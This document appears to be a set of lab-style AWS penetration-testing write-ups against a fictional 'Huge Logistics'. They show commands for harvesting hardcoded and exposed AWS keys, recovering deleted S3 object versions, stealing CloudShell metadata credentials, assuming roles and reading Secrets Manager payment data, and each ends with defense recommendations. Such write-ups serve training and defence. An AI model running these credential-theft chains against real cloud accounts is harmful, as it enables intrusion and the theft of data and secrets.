        "repositoryId": "beb7df6c-e3a2-4094-8fc5-44451afc38d3",
        "repositoryName": "vessel-tracking",
        "repositoryDescription": "Vessel Tracking App",
        "defaultBranch": "master",
        "lastModifiedDate": "2023-07-20T20:50:46.826000+03:00",
        "creationDate": "2023-07-20T00:11:19.845000+03:00",
        "cloneUrlHttp": "https://git-codecommit.us-east-1.amazonaws.com/v1/repos/vessel-tracking",
        "cloneUrlSsh": "ssh://git-codecommit.us-east-1.amazonaws.com/v1/repos/vessel-tracking",
        "Arn": "arn:aws:codecommit:us-east-1:785010840550:vessel-tracking",
        "kmsKeyId": "alias/aws/codecommit"
    }
}
```

I checked for available branches:

```
aws codecommit list-branches --repository-name vessel-tracking
```

```
{
    "branches": [
        "master",
        "dev"
    ]
}
```

Looking at the `dev` branch to find the latest commit:

```
aws codecommit get-branch --repository-name vessel-tracking --branch-name dev
```

```
{
    "branch": {
        "branchName": "dev",
        "commitId": "b63f0756ce162a3928c4470681cf18dd2e4e2d5a"
    }
}
```

Examining the commit details:

```
aws codecommit get-commit --repository-name vessel-tracking --commit-id b63f0756ce162a3928c4470681cf18dd2e4e2d5a
```

```
{
    "commit": {
        "commitId": "b63f0756ce162a3928c4470681cf18dd2e4e2d5a",
        "treeId": "5718a0915f230aa9dd0292e7f311cb53562bb885",
        "parents": [
            "2272b1b6860912aa3b042caf9ee3aaef58b19cb1"
        ],
        "message": "Allow S3 call to work universally\n",
        "author": {
            "name": "Jose Martinez",
            "email": "jose@pwnedlabs.io",
            "date": "1689875383 +0100"
        },
        "committer": {
            "name": "Jose Martinez",
            "email": "jose@pwnedlabs.io",
            "date": "1689875383 +0100"
        },
        "additionalData": ""
    }
}
```

I used `get-differences` to identify what changed between commits:

```
aws codecommit get-differences --repository-name vessel-tracking --before-commit-specifier 2272b1b6860912aa3b042caf9ee3aaef58b19cb1 -
```

```
{
    "differences": [
        {
            "beforeBlob": {
                "blobId": "4381be5cc1992c598de5b7a6b73ebb438b79daba",
                "path": "js/server.js",
                "mode": "100644"
            },
            "afterBlob": {
                "blobId": "39bb76cad12f9f622b3c29c1d07c140e5292a276",
                "path": "js/server.js",
                "mode": "100644"
            },
            "changeType": "M"
        }
    ]
}
```

Finding Additional Credentials

I downloaded the changed file to examine its contents:

```
aws codecommit get-file --repository-name vessel-tracking --commit-specifier b63f0756ce162a3928c4470681cf18dd2e4e2d5a --file-path js/
```

After decoding the base64 response, I discovered yet another set of AWS credentials hardcoded in the source code:

```
const express = require('express');
const axios = require('axios');
const AWS = require('aws-sdk');
const { v4: uuidv4 } = require('uuid');
require('dotenv').config();

const app = express();
const PORT = process.env.PORT || 3000;

// AWS Setup
const AWS_ACCESS_KEY = 'AKIA3NRSK2PTLGAWWLTG';
const AWS_SECRET_KEY = '2wVww5VE********uUUvFETT7+ymYG******';

AWS.config.update({
    region: 'us-east-1',  // Change to your region
    accessKeyId: AWS_ACCESS_KEY,
    secretAccessKey: AWS_SECRET_KEY
});
const s3 = new AWS.S3();

app.use((req, res, next) => {
    // Generate a request ID
    req.requestID = uuidv4();
    next();
});
```

Privilege Escalation

Using the second set of credentials, I checked their permissions:

```
aws sts get-caller-identity --profile sec
{
    "UserId": "AIDA3NRSK2PTJN636WIHU",
    "Account": "785010840550",
    "Arn": "arn:aws:iam::785010840550:user/code-admin"
}
```

These credentials had different permissions as they belonged to a `code-admin` user. I used them to access an S3 bucket:

```
aws s3 ls s3://vessel-tracking --profile sec
2023-07-20 21:25:17         32 flag.txt
2023-07-20 21:35:56      21810 vessel-id-ae
2023-07-20 21:35:57      21770 vessel-id-af
2023-07-20 21:35:58      21515 vessel-id-ag
2023-07-20 21:35:58      21639 vessel-id-ah
2023-07-20 21:35:59      21568 vessel-id-ai
2023-07-20 21:36:00      21813 vessel-id-aj
2023-07-20 21:36:01      21575 vessel-id-ak
```

I was able to download sensitive files from the bucket:

```
aws s3 cp s3://vessel-tracking/flag.txt . --profile sec
```

Defense Recommendations

Proactive Secret Detection

Organizations should proactively scan for secrets in their resources. Trufflehog (https://github.com/trufflesecurity/trufflehog/releases/) is an excellent tool for this purpose:

```
./trufflehog docker --image hljose/huge-logistics-terraform-runner:0.12
```

While Trufflehog didn't detect the environment variable AWS keys in this case, scanning the Git repository with it was successful:

```
./trufflehog git file://vessel-tracking
```

Preventing Secret Commits

AWS Labs provides git-secrets (https://github.com/awslabs/git-secrets), a tool designed to prevent committing passwords and other sensitive information to Git repositories.

Conclusion

This security assessment revealed several critical security issues:

1. AWS credentials exposed as environment variables in a public Docker image
2. Hardcoded AWS credentials in application source code
3. Excessive permissions granted to both sets of credentials
4. Sensitive data accessible in S3 buckets

These findings underscore the importance of:

- Using secure secret management solutions rather than hardcoding credentials
- Implementing proper access controls following the principle of least privilege
- Regular security scanning of Docker images and repositories
- Setting up pre-commit hooks to prevent accidental secret exposure The ease with which these credentials were discovered demonstrates how common misconfigurations can lead to significant security breaches. Organizations should implement automated scanning and proper secret management practices to mitigate these risks.

AWS S3 Security Assessment: Huge Logistics Case Study

Overview

This post details a security assessment conducted for Huge Logistics, focusing on their cloud perimeter security. As a cloud security team, we were tasked with investigating potential vulnerabilities in a specified IP range, with particular attention to the address `16.171.123.169` which appeared frequently in their public documentation.

What began as a routine external assessment quickly revealed significant security issues with far-reaching implications. This case study demonstrates how seemingly minor oversights in cloud configuration can lead to serious data exposure risks.

Initial Reconnaissance

Our investigation started with the IP address mentioned in the client's documentation:

```
IP: 16.171.123.169
```

Examining the HTML source of their website, we discovered a reference to an AWS S3 bucket:

```
https://huge-logistics-dashboard.s3.eu-north-1.amazonaws.com/static/js/jquery.min.js
```

We also noticed that without authentication, we could access their dashboard interface at:

```
http://16.171.123.169/dashboard#
```

Investigating S3 Bucket Permissions

The publicly accessible S3 bucket immediately raised concerns. To assess the extent of the exposure, we listed all object versions in the bucket:

```
aws s3api list-object-versions \
  --bucket huge-logistics-dashboard \
  --prefix static/js/api.js \
  --region eu-north-1 \
  --no-sign-request
```

This investigation uncovered something alarming - a deleted confidential file that was still accessible through version history:

```
{
    "ETag": "\"24f3e7a035c28ef1f75d63a93b980770\"",
    "Size": 24119,
    "StorageClass": "STANDARD",
    "Key": "private/Business Health - Board Meeting (Confidential).xlsx",
    "VersionId": "HPnPmnGr_j6Prhg2K9X2Y.OcXxlO1xm8",
    "IsLatest": false,
    "LastModified": "2023-08-16T19:11:03+00:00",
    "Owner": {
        "ID": "34c9998cfbce44a3b730744a4e1d2db81d242c328614a9147339214165210c56"
    }
}
```

We confirmed this deleted file's existence by checking its version history:

```
aws s3api list-object-versions --bucket huge-logistics-dashboard --prefix "private/Business Health - Board Meeting (Confidential).xl
{
    "Versions": [
        {
            "ETag": "\"24f3e7a035c28ef1f75d63a93b980770\"",
            "Size": 24119,
            "StorageClass": "STANDARD",
            "Key": "private/Business Health - Board Meeting (Confidential).xlsx",
            "VersionId": "HPnPmnGr_j6Prhg2K9X2Y.OcXxlO1xm8",
            "IsLatest": false,
            "LastModified": "2023-08-16T19:11:03+00:00",
            "Owner": {
                "ID": "34c9998cfbce44a3b730744a4e1d2db81d242c328614a9147339214165210c56"
            }
        }
    ],
    "DeleteMarkers": [
        {
            "Owner": {
                "ID": "34c9998cfbce44a3b730744a4e1d2db81d242c328614a9147339214165210c56"
            },
            "Key": "private/Business Health - Board Meeting (Confidential).xlsx",
            "VersionId": "whIGcxw1PmPE1Ch2uUwSWo3D5WbNrPIR",
            "IsLatest": true,
            "LastModified": "2023-08-16T19:12:39+00:00"
        }
    ],
    "RequestCharged": null,
    "Prefix": "private/Business Health - Board Meeting (Confidential).xlsx"
}
```

Discovering Historical JavaScript Files

When we attempted to access the confidential file, we encountered an "access denied" error. However, we found we could access historical versions of other files, particularly JavaScript files not in the protected "private" directory:

```
aws s3api list-object-versions --bucket huge-logistics-dashboard --prefix "static/js/auth.js" --no-sign-request
{
    "Versions": [
        {
            "ETag": "\"c3d04472943ae3d20730c1b81a3194d2\"",
            "Size": 244,
            "StorageClass": "STANDARD",
            "Key": "static/js/auth.js",
            "VersionId": "j2hElDSlveHRMaivuWldk8KSrC.vIONW",
            "IsLatest": true,
            "LastModified": "2023-08-12T20:43:43+00:00",
            "Owner": {
                "ID": "34c9998cfbce44a3b730744a4e1d2db81d242c328614a9147339214165210c56"
            }
        },
        {
            "ETag": "\"7b63218cfe1da7f845bfc7ba96c2169f\"",
            "Size": 463,
            "StorageClass": "STANDARD",
            "Key": "static/js/auth.js",
            "VersionId": "qgWpDiIwY05TGdUvTnGJSH49frH_7.yh",
            "IsLatest": false,
            "LastModified": "2023-08-12T19:13:25+00:00",
            "Owner": {
                "ID": "34c9998cfbce44a3b730744a4e1d2db81d242c328614a9147339214165210c56"
            }
        }
    ],
    "RequestCharged": null,
    "Prefix": "static/js/auth.js"
}
```

We retrieved the older version of the auth.js file:

```
aws s3api get-object --bucket huge-logistics-dashboard --key 'static/js/auth.js' --version-id "qgWpDiIwY05TGdUvTnGJSH49frH_7.yh" aut
```

The contents of this file revealed hard-coded credentials:

javascript

```
(document).ready(function(){
    $(".btn-login").on("click", login);
});

function login(){
    email = $('#emailForm')[0].value;
    password = $('#passwordForm')[0].value;
    data = {'email':email, 'password':password};
    doLogin(data);
}
//Please remove this after testing. Password change is not necessary to implement so keep this secure!
function test_login(){
        data = {'email':'admin@huge-logistics.com', 'password':''}
        doLogin(data);
}
```

Credential Compromise and Privilege Escalation

Using the discovered admin credentials, we accessed the admin profile at `http://16.171.123.169/profile`, which revealed AWS access keys stored in the user interface:

```
Creds: AKIATWVWNKAVBJLHAC2G,mZ9t6IwTMbd9kEuc*************
```

We configured AWS CLI with these credentials:

```
aws configure
```

And verified the identity we now had access to:

```
aws sts get-caller-identity --profile init
{
    "UserId": "AIDATWVWNKAVEJCVKW2CS",
    "Account": "254859366442",
    "Arn": "arn:aws:iam::254859366442:user/data-user"
}
```

Accessing Confidential Data

With these elevated privileges, we were able to retrieve the previously inaccessible confidential file:

```
aws s3api get-object \
  --bucket huge-logistics-dashboard \
  --key 'private/Business Health - Board Meeting (Confidential).xlsx' \
  --version-id "HPnPmnGr_j6Prhg2K9X2Y.OcXxlO1xm8" \
  confidential_meeting.xlsx \
  --region us-east-1 \
  --profile init \
  --debug
```

The file contained sensitive corporate information that should not have been accessible to external parties.

Security Recommendations

Based on our findings, we recommend the following defensive measures:

1. Improve S3 Bucket Configuration

The organization and segregation of data within AWS S3 infrastructure are crucial for both operational efficiency and security. Data should be properly classified and stored in buckets with appropriate permissions.

2. Implement Version Control Policies

As demonstrated in this assessment, deleted files can remain accessible through version history. It's important to ensure that only trusted entities have the `s3:ListBucketVersions` and `s3:GetObjectVersion` permissions.

3. Clean Up Dangling File Versions

The admin should permanently delete sensitive file versions:

```
aws s3api delete-object --bucket huge-logistics-dashboard --key "private/Business Health - Board Meeting (Confidential).xlsx" --vers
```

4. Proper Credential Management

Storing AWS credentials in text fields in applications is a dangerous practice that creates significant security risks. We recommend implementing:

- AWS Secrets Manager
- Dedicated secret management solutions
- Privileged Access Management (PAM) software

5. Implement Least Privilege Access

The compromised credentials had excessive permissions. Applying the principle of least privilege would have limited the potential damage.

6. Regular Security Audits

Schedule routine security assessments to discover and address vulnerabilities before they can be exploited.

Conclusion

This assessment demonstrates the cascading effects of seemingly minor security oversights. What began with publicly accessible S3 bucket configurations led to the compromise of confidential corporate information. By implementing the recommended security measures, Huge Logistics can significantly enhance their cloud security posture and protect their sensitive data from unauthorized access.

AWS Penetration Testing Report: Huge Logistics Security Assessment

Executive Summary

This report details the findings of a comprehensive security assessment conducted on Huge Logistics' cloud infrastructure. The assessment involved identifying potential vulnerabilities and security misconfigurations within both on-premises and cloud environments. Using an identified IP address as an entry point, we were able to discover AWS credentials, access cloud resources, and eventually escalate privileges to access sensitive payment information.

Initial Reconnaissance

Target Identification

- Target IP: `52.0.51.234`
- Client: Huge Logistics (global logistics and shipping company)

Port Scanning

Initial nmap scan revealed a web server running on port 80:

```
sudo nmap -sV -sC -Pn -O -p- 52.0.51.234 -vvvv
```

```
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 57 Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Huge Logistics
|_http-server-header: Apache/2.4.52 (Ubuntu)
```

Web Application Analysis

Using directory enumeration tools to discover hidden directories and files:

```
dirsearch -u http://52.0.51.234/
```

The scan revealed an exposed configuration file containing AWS credentials:

```
{"aws": {
        "accessKeyID": "AKIAWHEOTHRFYM6CAHHG",
        "secretAccessKey": "chMbGqbKdpwGOOLC9B**********************",
        "region": "us-east-1",
        "bucket": "hl-data-download",
        "endpoint": "https://s3.amazonaws.com"
    },
    "serverSettings": {
        "port": 443,
        "timeout": 18000000
    },
    "oauthSettings": {
        "authorizationURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/authorize",
        "tokenURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/tokens",
        "clientID": "1012aBcD3456EfGh",
        "clientSecret": "aZ2x9bY4cV6wL8kP0**********************",
        "callbackURL": "https://portal.huge-logistics/callback",
        "userProfileURL": "https://portal.huge-logistics.com/ms_oauth/resources/userprofile/me"
    }
}
```

AWS Account Enumeration

Using the discovered AWS credentials, we verified AWS account access:

```
aws sts get-caller-identity --profile init
{
    "UserId": "AIDAWHEOTHRF7MLFMRGYH",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/data-bot"
}
```

The credentials provided access to an S3 bucket containing transaction logs:

```
aws s3 ls s3://hl-data-download --profile init
2023-08-06 00:56:58       5200 LOG-1-TRANSACT.csv
```

Permission Enumeration

We used aws-enumerator to determine the scope of our access:

```
aws-enumerator enum -services all
```

The tool identified successful access to:

```
Message:  Successful STS: 2 / 2
Message:  Successful SECRETSMANAGER: 1 / 2
```

AWS Secrets Manager Enumeration

Attempting to access various secrets:

```
aws secretsmanager list-secrets --profile init
```

After testing access to multiple secrets, we found access to one named "ext/cost-optimization":

```
aws secretsmanager get-secret-value \
  --secret-id ext/cost-optimization \
  --profile init
```

```
{
    "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4",
    "Name": "ext/cost-optimization",
    "VersionId": "f7d6ae91-5afd-4a53-93b9-92ee74d8469c",
    "SecretString": "{\"Username\":\"ext-cost-user\",\"Password\":\"K33pOurCosts************\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2023-08-05T00:19:28.512000+03:00"
}
```

AWS CloudShell Access

Using the extracted credentials, we accessed AWS CloudShell and were able to obtain temporary shell credentials:

```
TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 600")

ROLE=$(curl -s localhost:1338/latest/meta-data/iam/security-credentials/ -H "X-aws-ec2-metadata-token: $TOKEN")

echo "Role name: $ROLE"

curl -s localhost:1338/latest/meta-data/iam/security-credentials/$ROLE -H "X-aws-ec2-metadata-token: $TOKEN"
```

IAM User Identity Confirmation

```
aws sts get-caller-identity --profile thr
{
    "UserId": "AIDAWHEOTHRFTNCWM7FHT",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/ext-cost-user"
}
```

IAM Policy Enumeration

Using Pacu, we identified two policies attached to our user:

```
"Policies": [
  {
    "PolicyName": "ExtCloudShell",
    "PolicyArn": "arn:aws:iam::427648302155:policy/ExtCloudShell"
  },
  {
    "PolicyName": "ExtPolicyTest",
    "PolicyArn": "arn:aws:iam::427648302155:policy/ExtPolicyTest"
  }
```

We extracted the policy details:

```
aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest --profile thr
{
    "Policy": {
        "PolicyName": "ExtPolicyTest",
        "PolicyId": "ANPAWHEOTHRF7772VGA5J",
        "Arn": "arn:aws:iam::427648302155:policy/ExtPolicyTest",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-08-04T21:47:26+00:00",
        "UpdateDate": "2023-08-06T20:23:42+00:00",
        "Tags": []
    }
}
```

Examining the v4 policy version:

```
aws iam get-policy-version \
  --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest \
  --version-id v4 \
  --profile thr
```

```
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetRole",
                        "iam:GetPolicyVersion",
                        "iam:GetPolicy",
                        "iam:GetUserPolicy",
                        "iam:ListAttachedRolePolicies",
                        "iam:ListAttachedUserPolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Resource": [
                        "arn:aws:iam::427648302155:policy/ExtPolicyTest",
                        "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
                        "arn:aws:iam::427648302155:policy/Payment",
                        "arn:aws:iam::427648302155:user/ext-cost-user"
                    ]
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-06T20:23:42+00:00"
    }
}
```

Role and Policy Inspection

We discovered an assumable role:

```
aws iam get-role --role-name ExternalCostOpimizeAccess --profile thr

{
    "Role": {
        "Path": "/",
        "RoleName": "ExternalCostOpimizeAccess",
        "RoleId": "AROAWHEOTHRFZP3NQR7WN",
        "Arn": "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
        "CreateDate": "2023-08-04T21:09:30+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::427648302155:user/ext-cost-user"
                    },
                    "Action": "sts:AssumeRole",
                    "Condition": {
                        "StringEquals": {
                            "sts:ExternalId": "37911"
                        }
                    }
                }
            ]
        },
        "Description": "Allow trusted AWS cost optimization partner to access Huge Logistics resources",
        "MaxSessionDuration": 3600,
        "RoleLastUsed": {
            "LastUsedDate": "2025-05-16T09:09:22+00:00",
            "Region": "us-east-1"
        }
    }
}
```

Examining the attached policies:

```
aws iam list-attached-role-policies --role-name ExternalCostOpimizeAccess --profile thr

{
    "AttachedPolicies": [
        {
            "PolicyName": "Payment",
            "PolicyArn": "arn:aws:iam::427648302155:policy/Payment"
        }
    ]
}
```

Checking the Payment policy details:

```
aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Payment --version-id v2 --profile thr

{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "secretsmanager:GetSecretValue",
                        "secretsmanager:DescribeSecret",
                        "secretsmanager:ListSecretVersionIds"
                    ],
                    "Resource": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": "secretsmanager:ListSecrets",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v2",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-04T22:34:19+00:00"
    }
}
```

Privilege Escalation via Role Assumption

Assuming the role with the required external ID:

```
aws sts assume-role \
  --role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess \
  --role-session-name temp-session \
  --external-id 37911 \
  --profile thr

{
    "Credentials": {
        "AccessKeyId": "ASIAWHEOTHRFQPY46PX6",
        "SecretAccessKey": "T45UolSZWwFcWLfjxt*****************",
        "SessionToken": "[TRUNCATED FOR BREVITY]",
        "Expiration": "2025-05-18T01:07:36+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAWHEOTHRFZP3NQR7WN:temp-session",
        "Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/temp-session"
    }
}
```

Verifying our new identity:

```
aws sts get-caller-identity --profile forth
{
    "UserId": "AROAWHEOTHRFZP3NQR7WN:temp-session",
    "Account": "427648302155",
    "Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/temp-session"
}
```

Accessing Sensitive Payment Information

After analyzing the policy permissions, we discovered the need to use the full ARN when accessing the payment secret:

```
aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmM

{
    "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
    "Name": "billing/hl-default-payment",
    "VersionId": "f8e592ca-4d8a-4a85-b7fa-7059539192c5",
    "SecretString": "{\"Card Brand\":\"VISA\",\"Card Number\":\"4180-5677-2810-****\",\"Holder Name\":\"Michael Hayes\",\"CVV/CVV2\"
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2023-08-05T01:33:39.867000+03:00"
}
```

Technical Note on AWS Resource ARNs

It's important to note that when IAM policies specify resource ARNs, the request must use the full ARN to match those permissions exactly. Using just the secret name (without the ARN prefix) often causes the permission check to fail, which initially prevented us from accessing the payment information.

Conclusion

This security assessment revealed several critical vulnerabilities in Huge Logistics' AWS environment:

1. Exposed AWS credentials in a publicly accessible configuration file
2. Overly permissive IAM policies allowing access to sensitive secrets
3. Improper access controls on payment information
4. Privilege escalation path via role assumption

These findings demonstrate the importance of regular security assessments and proper cloud security configuration. Immediate remediation steps should include rotating all exposed credentials, implementing least-privilege access controls, and securing sensitive configuration files.